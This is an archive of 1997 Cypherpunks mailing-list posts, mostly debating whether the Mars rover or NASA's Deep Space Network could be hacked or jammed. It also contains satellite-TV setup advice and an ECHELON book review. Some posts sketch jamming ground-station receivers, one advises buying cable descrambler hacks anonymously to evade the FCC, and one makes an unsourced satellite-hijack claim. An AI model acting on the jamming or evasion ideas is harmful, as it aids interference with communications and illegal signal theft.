> hacker to take control of the rover? Is NASA using any
> encryption/authentication of the commands issued to the rover?

Somehow, I don't think that's the place to mount an attempt to take it
over.  The prohibitive cost of getting an antenna into space where you can
counter some of the effects of Earth's spin and keep the damn rover in
contact all the time would be the biggest problem.  The trick would be to
get into NASA's flight control computers.  They're almost definitely as
top-secret military systems in terms of access.  (i.e, no outside
connections to unsecure nets, controls almost certainly limited to certain
stations...)

Besides, how much encryption is needed between two points if intercepting
the traffic is expensive, the communications protocol is undocumented (as
far as anyone outside NASA is concerned), and the actual frequency is also
hard to find? 

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 14:57:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707060652.IAA08623@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 6 Jul 1997 21:20:04 +0800
To: cypherpunks@toad.com
Subject: Nat Sec in Your Home
Message-ID: <1.5.4.32.19970706125354.006ab980@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



For worst-suspicions info on defense technology 
transfer to law enforcement:

   http://jya.com/tdt-le.htm

With links to Justice and wide network of high tech
crime fighters fostering civil war for your own good --
and their careers and budgets. Nat Sec coming home
to roost: downsized soldiers, spies and scientists as 
sensors-r-us.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 6 Jul 1997 22:53:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Mack the Harrs over (fwd)
Message-ID: <199707061424.JAA18262@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Mack the Harrs over
> Date: Sun, 06 Jul 1997 13:43:42 +0200
> From: Zooko Journeyman <zooko@wildgoose.dagny>

> > Besides, how much encryption is needed between two points if intercepting
> > the traffic is expensive, the communications protocol is undocumented (as
> > far as anyone outside NASA is concerned), and the actual frequency is also
> > hard to find? 
> 
> Not to mention that the communication protocol is apparently 
> broken and drops most of the data.  :-P 


Really? You try sending data over 10 light-seconds using nothing but the
equivalent of your Mag-Lite flashlight and then pick it up AND successfuly
decode the data using nothing more than spare cycles in the DSN reception
network.

I suspect you are seriously underestimating the amount of noise betwix here
and there...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 7 Jul 1997 00:14:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Direct satellite systems? (fwd)
Message-ID: <199707061444.JAA18314@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 05 Jul 1997 23:07:58 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Direct satellite systems?

> My local cable killing Mars rover deployment in favor of local dog tag
> ordinances (as required by the city), made me realize it that getting my
> own dish is way overdue.
> 
> I would appreciate reports on any first hand experiences subscribers to
> this list have with satellite services. Yes, NASA TV and the SF channel is
> a must. :-)

NASA Select is the actual transponder you want to use for NASA stuff. Get
any of the numerous satellite magazines and they will include not only a
map of the commercial satellites but their location and other niceities.
Note that this is not all the satellites you can receive since those not
on the plane of the eccliptic will require a different mast-head (it
requires both RA and declinination, where most low-cost commercial stuff
only has RA). You will also want to check out comp.space.news and pick up
the new satellite listings that come out about once a week or so. You will
also get solar weather alerts on this newsgroup as well.

The main downside a satellite system is that you don't get any of the local
stations.

On the hardware front, decide now what kind of coverage you want. If you
have any hopes for a satellite modem (which can be quite fun to play with)
then don't get the digital dish but go with the older C/K band dishes (3m).

The setup that I use (and suggest) is:

 - local cable, at least minimal services to get the local stations

 - C/K band setup with dual decoders so that you can watch two transponder
   channels per bird

 - digital dish to receive the newer systems (if you can find a good
   source for digital sat modems for these please let me know)

I'll give you a hint on how to get started, get to know somebody in the
local sat business and get them to let you know when they replace an old
C/K band system with a new digital systems. Usualy they throw the dish,
mast-head, and cable away because they have no resale value. I got both
of my C/K dishes this way. Spent maybe $100 on cables and connectors not
counting the concrete I used to mount the masts.

With the changes in the cable laws you can now buy hacks to the boxes on the
open market. I *strongly* suggest making this purchase as anonymous as
possible. My cable guy gets a visit from the FCC about once a year on some
purchase he made. I get my ROM's and such at various electronic, hamfest,
and video get togethers that happen in and around Ctl. Texas. I am shure if
you check in your local areas similar events occur. (hint: get somebody else
to drive to the event in their car and pay with cash only and never tell
them anything about your real name or location).

Last tip, buy your own center level and don't be stingy on the cost. The
more vertical you can get your mast the happier you will be in the long
run.

Hope it helps.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 15:59:05 +0800
To: cypherpunks@toad.com
Subject: Germany Wants A Rematch
Message-ID: <199707060745.JAA14587@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



To: 100566.2620@compuserve.com (German Embassy/Canada)
From: TruthMailer <tm@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "He who shits on the road will meet flies upon his return."
X-Comments: -
X-Comments: This message is NOT from a death camp volunteer. It was
X-Comments: sent via an automated anonymous remailer much as bullets
X-Comments: were sent by snipers in the French Resistance during
X-Comments: World War II.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None

Subject: Germany Wants A Rematch

bennett wrote:
> On Fri, 4 Jul 1997, Jim  wrote:
> >          GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> >
> > BONN, Germany (AP) -- Germany on Friday became the first country to
> > pass a law regulating the free-wheeling global electronic space
> > of the Internet.

>   Which cypherpunk said that he wouldn't go to a conference to get
> arrested for making a funny comment about a resurgence of fascism in
> Germany?

Dear Mr. & Ms. G. Embassy,
  Perhaps you've forgotten why freedom lovers kicked your ass in
"The Big One."
  Far be it from me to rain on your jackboot parade, but this time
the underground was put in place long before the war on freedom and
liberty was officially announced.

  XS4ALL's efforts to allow citizens to have the information needed
to interfere with train schedules to Auschwitz was just the tip of
the iceberg. Strong encryption and anonymous remailers are likewise
only visible symbols of the electronic weapons that have already 
been prepared in defense of free speech, privacy and freedom.
{Fool me once...}

  If you are of the mistaken notion that the rise of fascist limits
on freedom in now laughably democratic countries around the world
indicates that the world is now in alignment with the goals of a
"Fourth Reich"/"New World Order", then you are in for a very rude
awakening.
  The fact of the matter is that Germany is not only sucking on
hind-tit in terms of being far behind the designers of the internet
in controlling the worldwide flow of information, but all those
whose aim is to use information control to futher the purpose of
domination and oppression are sucking hind-tit to those who are
prepared to prevent this from coming to fruitation.
  Long before the "Internet" and the "World Wide Web" were being
publically touted as the "Information Highway" of the future, 
citizens throughout the Internet were being organized into small,
disparate cells for the purpose of educating and preparing them
to provide an underground resistance to the fascist designs of
those who fully intended from the start to use this technology
as a weapon against freedom and liberty.

  If you wish just the slightest taste of what I am speaking about,
then read "The Xenix Chainsaw Massacre" or "Webworld & The Mythical
Circle of Eunuchs" at http://bureau42.base.org
  If you would rather access it from a Soviet source, then I suggest
you try http://www.tigerteam.net/anarchy  
  Or you can find it in France, Australia, Great Britain, China,
Burma, Africa, South America, ad infinitum...as part of a trilogy
named "The True Story of the InterNet."

  If you want a small taste of what lies in wait for fascists in the
Unix Operating system, then study the archives of the "Cypherpunks"
mailing list.
  DOS/Windows? Find the "Secret Gates" mailing list (if you can).
  OS/2, Macintosh OS, Novelle...ask your father and mother, your sister
and brother, your best friend...they may well be among those who have
been preparing for decades to tear down the walls you are only now
preparing to build around freedom and privacy on the Internet.

  If you want a small taste of how your own tools are already being
turned against you, as weapons and munitions, then I suggest that
you try to find the hidden stego in the map of Germany (map2-2.gif)
at the URL for your German Embassy in Canada...
http://www.DocuWeb.ca/Germany

  If, on the other hand, you wish for a small taste of true freedom,
then I suggest that you resist falling prey to the fascist mindset
that others have already decided upon as your ultimate destiny, and
create your own underground resistance cell to fight against the rise
of censorship and the curtailment of freedom and liberty.
{If you haven't already...}

  When the Netherlands were recently liberated, many of the citizens
at XS4ALL were reported to be smoking American cigarettes, eating
Hershey's chocolate bars, and chewing gum.
  Go figure...

TruthMonger #709





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 7 Jul 1997 00:16:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Mack the Harrs over (fwd) (correction)
Message-ID: <199707061446.JAA18356@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jim Choate <ravage@ssz.com>
> Subject: Re: Mack the Harrs over (fwd)
> Date: Sun, 6 Jul 1997 09:24:11 -0500 (CDT)

> Really? You try sending data over 10 light-seconds using nothing but the

                                             ^^^^^^^

                                             minutes

Sorry for the typo.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 7 Jul 1997 00:42:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hack the Mars rover (fwd)
Message-ID: <199707061611.LAA18434@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
> From: Ryan Anderson <randerso@ece.eng.wayne.edu>
> Subject: Re: Hack the Mars rover

> Somehow, I don't think that's the place to mount an attempt to take it
> over.  The prohibitive cost of getting an antenna into space where you can
> counter some of the effects of Earth's spin and keep the damn rover in
> contact all the time would be the biggest problem.

The place to attack is the up-link. This requires physical access (ie a van
with a dish and xmtr.) as well as a means to crack the encryption on the
control channels. At least one French satellite has been cracked and
de-orbited via a network attack.

> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find? 

The communications are not only documented but easily observable with the
correct commercialy available equipment. The frequencies are a matter of
public record, I would further bet that 5 minutes with a search engine would
bring that data to light...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@qualcomm.com>
Date: Mon, 7 Jul 1997 03:12:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <6237.868215714@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:11 CDT on Sunday, July 6, 1997, Jim Choate wrote:

|The place to attack is the up-link. This requires physical access (ie a van
|with a dish and xmtr.) as well as a means to crack the encryption on the
|control channels. At least one French satellite has been cracked and
|de-orbited via a network attack.

The encryption for US-made satellites is supplied by the NSA.  Cracking the
encryption is much easier said than done.  Is there a cite for the French
incident?

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 7 Jul 1997 04:15:09 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <v03102802afe5a9e8f723@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Forwarded message:
>
>> Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
>> From: Ryan Anderson <randerso@ece.eng.wayne.edu>
>> Subject: Re: Hack the Mars rover
>
>> Somehow, I don't think that's the place to mount an attempt to take it
>> over.  The prohibitive cost of getting an antenna into space where you can
>> counter some of the effects of Earth's spin and keep the damn rover in
>> contact all the time would be the biggest problem.
>
>The place to attack is the up-link. This requires physical access (ie a van
>with a dish and xmtr.) as well as a means to crack the encryption on the
>control channels. At least one French satellite has been cracked and
>de-orbited via a network attack.
>
>> Besides, how much encryption is needed between two points if intercepting
>> the traffic is expensive, the communications protocol is undocumented (as
>> far as anyone outside NASA is concerned), and the actual frequency is also
>> hard to find?
>
>The communications are not only documented but easily observable with the
>correct commercialy available equipment. The frequencies are a matter of
>public record, I would further bet that 5 minutes with a search engine would
>bring that data to light...

The place to hack any deep-space mission is at its terminus.  Even with the
incredible receiveing equipment at each of the controlling earth stations
(e.g., Goldstone off of I395 between Barstow and Mammoth Lakes, CA) the
link margin, that is the minimum required signal/noise vs. actual for the
specified bit rate, can't be too healthy.  The antennas are huge, very
directional, parabolic dishes, but even the best have a bit of side-lobe
receiption (that's why they're located in remote areas, usualy surrounded
by hills).  One can exploit these side-lobe to jam in inbound signal.

Depending upon the transmission/modulation scheme, only a simple,
low-powered, transmitter with line-of-sight to the parabolic dish could
overwhelm the Rover signal.  Getting such a 'shot' at the antenna might be
difficult from the ground.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@wildgoose.dagny>
Date: Sun, 6 Jul 1997 19:49:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mack the Harrs over
Message-ID: <m0wkpjD-00078lC@wildgoose.dagny>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

X-Inside-Sig-To: cypherpunks@algebra.com
X-Inside-Sig-cc: Ryan Anderson <randerso@ece.eng.wayne.edu>, Lucky Green <shamrock@netcom.com>
X-Inside-Sig-Subject: Re: Mack the Harrs over
X-Inside-Sig-Date: Sun Jul  6 13:42:19 CEST 1997


> Besides, how much encryption is needed between two points if intercepting
> the traffic is expensive, the communications protocol is undocumented (as
> far as anyone outside NASA is concerned), and the actual frequency is also
> hard to find? 


Not to mention that the communication protocol is apparently 
broken and drops most of the data.  :-P 


Somebody hack in there and fix it...


Z


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sun, 6 Jul 1997 12:46:04 +0800
To: cypherpunks@toad.com
Subject: The walsh report
Message-ID: <Pine.SOL.3.91.970706142711.13496A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



To all aussie cypherpunks out there,

I was leafing through the walsh report. I dont follow it all very well. 
could someone please answer one simple question.

The Walsh Report is good for cryptography and its ilk in Australia ?? 
Yes/No ??

I got the impression it was a yes, but i could be qrong i was just 
readiong throught the conclusions

Jason 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 7 Jul 1997 05:57:44 +0800
To: cypherpunks@cyberpass.net
Subject: nsa+gchq spying operation
Message-ID: <199707062150.OAA13283@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



as I recall we have gotten early hints of this operation/book.

------- Forwarded Message

Date: Sat, 05 Jul 1997 21:37:30 -0600
To: snetnews@world.std.com, act@efn.org
From: Leander <leander@xmission.com>
Subject: SNET: "Secret Power" by Nicki Hagar


- ->  SearchNet's   SNETNEWS   Mailing List

Forwarded from alt.2600.moderated by me.

Leander
leander@xmission.com

>"Secret Power" by Nicki Hagar 
>The International Spying Networks UKUSA and ECHELON
>301pp ISBN: 0-908802-35-8 
>
>According to this remarkable book, that has somehow escaped the flames of
>book banners crying "national security," the United States NSA and the
>United Kingdom's GCHQ (Government Communications Headquarters) operate a
>global spying network called UKUSA. To listen in on conversations across the
>planet, a massive eavesdropping apparatus was built, with tentacles which
>reach into dozens of different countries beyond the shores of either the US
>or UK as well as across the skies.
>
>Describing the nature of UKUSA, its global affiliations, and operations
>represents a huge effort on the part of author Nicki Hager. He states early
>on in 'Secret Power':
>
>  "Many people are vaguely aware that a lot of spying occurs, maybe even on
>  them, but how do we judge if it is ubiquitous or not a worry at all? Is
>  someone listening every time we pick up the telephone? Are all of our
>  Internet or fax messages being pored over continuously by shadowy figures
>  somewhere in a windowless building?
>
>  "What follows explains as precisely as possible - and for the first time
>  in public - how the worldwide [spy] system works, just how immense and
>  powerful it is and what it can and cannot do.
>
>  "The global system has a highly secret codename: ECHELON."
>
>And that is the foundation of a tremendous amount of research that describes
>in detail how the vast global spying network "collects all the telephone
>calls, faxes, telexes, Internet messages and other electronic communications
>that its computers have been pre-programmed to select," and then analyzes
>the contents and distributes it to members UKUSA and ECHELON partners
>world-wide.
>
>The operational details of how the US (NSA), UK (GCHQ), Canada (CSE),
>Australia (DSD) and New Zealand (GCSB) intercepts signals, throws high power
>computing behind ECHELON 'KeyWord' dictionary attacks and what they do with
>that information is potentially alarming; especially since so much of this
>decades old practice has been kept under the wraps of security.
>
>Secret Power names the names, provides the dates and the technical details
>on the world's largest, best financed and coordinated global spying
>apparatus ever conceived. Full of pictures, maps and charts, the reader will
>get a complete picture of just how much effort and resources go into
>international security, long distance eavesdropping, and spying.
>
>>From the Cold War to today, UKUSA and ECHELON have been fascinating and
>powerful intelligence functions to spy both on enemies and friends. "Secret
>Power" provides the first peek inside the world's most secretive and
>powerful electronic spy organization.
>
>"Secret Power" reads like a thriller, except that it's true. It should be
>read by everyone with an interest in intelligence, espionage and the
>technology that modern spies use.
>
>"An astonishing number of people have told him [author Nicki Hager] things
>that I, as Prime Minister in charge of the intelligence services, was never
>told...It is an outrage that I and other ministers were told so little."
>        -David Lange, Prime Minister of New Zealand 1984-89 
>
>"...the most detailed and up to date account of the work of any signals
>intelligence agency in existence. It is a masterpiece of investigative
>reporting, and provides a wealth of information."
>        -Jeffrey T. Richelson, leading authority on United States
>intelligence agencies and author of America's Secret Eyes in the Sky, and
>co-author of 'The Ties that Bind.'
>
>------------------------------
>
>--
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Graham-John Bullers                      Moderator of alt.2600.moderated   
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>         http://www.freenet.edmonton.ab.ca/~real/index.html
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>-- end of forwarded message --
>
>

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: Leander <leander@xmission.com>


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Drifter0@aol.com
Date: Mon, 7 Jul 1997 04:12:38 +0800
To: cypherpunks@toad.com
Subject: can i join
Message-ID: <970706155513_847343667@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



thanx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 7 Jul 1997 05:35:09 +0800
To: cypherpunks@toad.com
Subject: Jim Bell 6
Message-ID: <1.5.4.32.19970706211723.006a75b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



On June 26 the court handling Jim's case extended
the time from June 30 to July 11 for the USA to file an 
indictment.

This is from an on-line docket of the case via 
Public Access to Court Electronic Records (PACER)
a subcription service for federal courts.

No indication that Jim has been released, jailed since 
his arrest on May 16. No reason given for repeated
waiver of right to a speedy trial.

The docket's at:

   http://jya.com/jimbell-dock.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 7 Jul 1997 08:41:22 +0800
To: Dave Emery <die@pig.die.com>
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <v03102803afe5e6c84462@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>	Two very imprtant points.   The space path loss to and from Mars
>is very large.  So a very large dish is required to have sufficient G/T
>to see readable data.  Most NASA deep space stations use 85 foot dishes
>and some also have 300 footers.   Without that kind of antenna gain one
>is not going to see anything at all, and without that kind of gain on
>the command uplink as well as a multi KW high power microwave amplifier
>to feed the dish one is not going to be able to put enough signal into
>Mars to do anything.
>
>	There are essentially no 85 foot or larger dishes in the hands
>of anyone who might be attempting to hack a NASA spacecraft.   Such an
>antenna is simply not your back yard satellite dish....  they cost more
>than a million dollars and are major construction projects.

You're right, its beyond imagination that any amateur would have the
resources at their disposal to override NASA's uplink (unless ther's
another Capt'n Midnight lurking at a commercial uplink station ;-).

>
>	The second point is that the NSA has been supplying space
>hardened crypto chips and related ground equipment to every US satellite
>manufacturer and operator for at least the last 15 years for use in
>protecting the command uplinks against unauthorized access.   One can be
>quite sure that NASA has used these, or if they haven't has good reason
>to believe they don't have to.
>
>	The attack that is barely conceivable is for some cracker to
>break into a NASA terrestrial communications link associated with the
>Deep Space Network (some links use satellite communications for example
>and others microwave links) and access the command uplink systems of a
>NASA DSN site.  Whether they have fully secured all of these against
>such attack is unclear.  Obviously good old secret key encryption would
>work here, and there certainly is a lot of command validation done at
>the uplink before the command is sent, so whoever was doing this would
>have to have great in-depth knowlage of the command uplink system and
>the spacecraft itself.

Rather than trying to seize control of lander just do a DOS hack by keeping
the ground stations from hearing the lander signal.  You said yourself that
the path loss to Mars is very large (maybe around 200 dB), this means that
even with those huge antennas their link margins can't be too high.

I'll assume that in order to improve the margins they're using spread
spectrum techniques, trading bandwidth for spectral efficiency.  Without
getting into the specifics of jamming technology, unless they have a very
large process gain (like the 63 dB claimed for GPS), which is very unlikely
for a number of reasons, that a properly designed transmitter located near
their downlink stations would spill into the passband of their very
senstive receivers (probably liquid-He cooled LNAs) making receiption
difficult to impossible.  Of course, such transmitters would be relatively
easy to find so only intermittent operation might be practical.
>
>	And finally, demodulating the downlinks and recovering
>information from them is relatively easily accomplished once the hard
>part  (obtaining the G/T required) is somehow handled.  NASA tends to
>use very straightforward modulations and FEC and does not encrypt the
>downlinks.   And a fair amount of detail about the data formats is
>publicly available.

If the data formats and coding techniques are public and well documented
the task is simplified many fold.

--Steve

PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK)
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sun, 6 Jul 1997 15:57:41 +0800
To: cypherpunks@toad.com
Subject: The international PGP pgae ?
Message-ID: <Pine.SOL.3.91.970706174022.17559A@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know if the international PGP page is down for some reason. 
I cant get to it ?? 

Jason 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 7 Jul 1997 07:15:54 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Mack the Harrs over (fwd)
In-Reply-To: <199707061424.JAA18262@einstein.ssz.com>
Message-ID: <Pine.BSF.3.91.970706174503.5914C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 6 Jul 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Subject: Re: Mack the Harrs over
> > Date: Sun, 06 Jul 1997 13:43:42 +0200
> > From: Zooko Journeyman <zooko@wildgoose.dagny>
> 
> > > Besides, how much encryption is needed between two points if intercepting
> > > the traffic is expensive, the communications protocol is undocumented (as
> > > far as anyone outside NASA is concerned), and the actual frequency is also
> > > hard to find? 
> > 
> > Not to mention that the communication protocol is apparently 
> > broken and drops most of the data.  :-P 
> 
> 
> Really? You try sending data over 10 light-seconds using nothing but the
> equivalent of your Mag-Lite flashlight and then pick it up AND successfuly
> decode the data using nothing more than spare cycles in the DSN reception
> network.
> 
> I suspect you are seriously underestimating the amount of noise betwix here
> and there...
> 

I suspect you'd need a dish the size of your house to pick up the signal.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Mon, 7 Jul 1997 06:06:09 +0800
To: ravage@ssz.com
Subject: Re: Hack the Mars rover (fwd)
In-Reply-To: <199707061611.LAA18434@einstein.ssz.com>
Message-ID: <199707062151.RAA25276@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Jim Choate wrote :

> Forwarded message:
> 
> > Date: Sun, 6 Jul 1997 06:43:06 -0400 (edt)
> > From: Ryan Anderson <randerso@ece.eng.wayne.edu>
> > Subject: Re: Hack the Mars rover
> 
> 
> The place to attack is the up-link. This requires physical access (ie a van
> with a dish and xmtr.) as well as a means to crack the encryption on the
> control channels. At least one French satellite has been cracked and
> de-orbited via a network attack.
> 
> > Besides, how much encryption is needed between two points if intercepting
> > the traffic is expensive, the communications protocol is undocumented (as
> > far as anyone outside NASA is concerned), and the actual frequency is also
> > hard to find? 
> 
> The communications are not only documented but easily observable with the
> correct commercialy available equipment. The frequencies are a matter of
> public record, I would further bet that 5 minutes with a search engine would
> bring that data to light...

	Two very imprtant points.   The space path loss to and from Mars
is very large.  So a very large dish is required to have sufficient G/T
to see readable data.  Most NASA deep space stations use 85 foot dishes
and some also have 300 footers.   Without that kind of antenna gain one
is not going to see anything at all, and without that kind of gain on
the command uplink as well as a multi KW high power microwave amplifier
to feed the dish one is not going to be able to put enough signal into
Mars to do anything.

	There are essentially no 85 foot or larger dishes in the hands
of anyone who might be attempting to hack a NASA spacecraft.   Such an
antenna is simply not your back yard satellite dish....  they cost more
than a million dollars and are major construction projects.

	The second point is that the NSA has been supplying space
hardened crypto chips and related ground equipment to every US satellite
manufacturer and operator for at least the last 15 years for use in
protecting the command uplinks against unauthorized access.   One can be
quite sure that NASA has used these, or if they haven't has good reason
to believe they don't have to.

	The attack that is barely conceivable is for some cracker to
break into a NASA terrestrial communications link associated with the
Deep Space Network (some links use satellite communications for example
